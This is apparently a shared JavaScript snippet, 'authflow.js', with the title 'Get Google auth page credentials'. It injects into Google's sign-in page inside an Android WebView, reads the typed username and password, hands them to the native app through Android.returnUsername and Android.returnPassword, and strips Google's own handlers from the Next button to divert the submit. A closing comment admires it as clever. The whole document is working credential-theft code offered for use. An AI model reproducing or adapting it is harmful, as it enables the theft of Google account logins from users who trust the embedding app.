Get Google auth page credentials

authflow.js

function getPass() {
    let pass = Array.from(document.getElementsByTagName('input')).find((i1)=>i1.type=="password");
    if(!pass) {
        setTimeout(getPass, 50);
    } else {
        getPass2();
        getNx();
    }
}
function getPass2() {
    let pass2 = document.getElementById('password');
    if(!pass2) setTimeout(getPass2, 50);
    else {
        pass2.parentElement.__jsaction = {};
        pass2.parentElement.addEventListener('keydown', function(ev) {
            if(ev.key == "Enter") exReturn();
        });
    }
}
function exReturn() {
    let pass = Array.from(document.getElementsByTagName('input')).find((i1)=>i1.type=="password");
    let passwd = pass.value;
    Android.returnPassword(passwd);
    document.getElementsByClassName('qdulke')[0].classList.remove('qdulke');
    prog();
}
function prog() {
    let jk = document.getElementsByClassName('jK7moc');
    if(jk.length > 0) jk[0].classList.remove('jK7moc');
    setTimeout(prog, 100);
}
function getNx() {
    let nx = document.getElementById('passwordNext');
    if(!nx) {
        setTimeout(getNx, 50);
    } else {
        nx.__jsaction = {};
        nx.__jscontroller = {};
        document.getElementById('passwordNext').addEventListener('click', function(event) {
            event.preventDefault();
            exReturn();
        });
    }
}

console.log("Initialized Authflow");
function settr(ev) {
    console.log(document.getElementById('identifierId'));
    Android.returnUsername((document.getElementById('identifierId').value));
    setTimeout(getPass, 100);
};
document.getElementById('identifierNext').addEventListener('touchend', settr);
document.getElementById('identifierNext').addEventListener('click', settr);
document.getElementById('identifierId').addEventListener('keydown', function(ev) {
    if(ev.key == "Enter") settr(ev);
});

Damn thats clever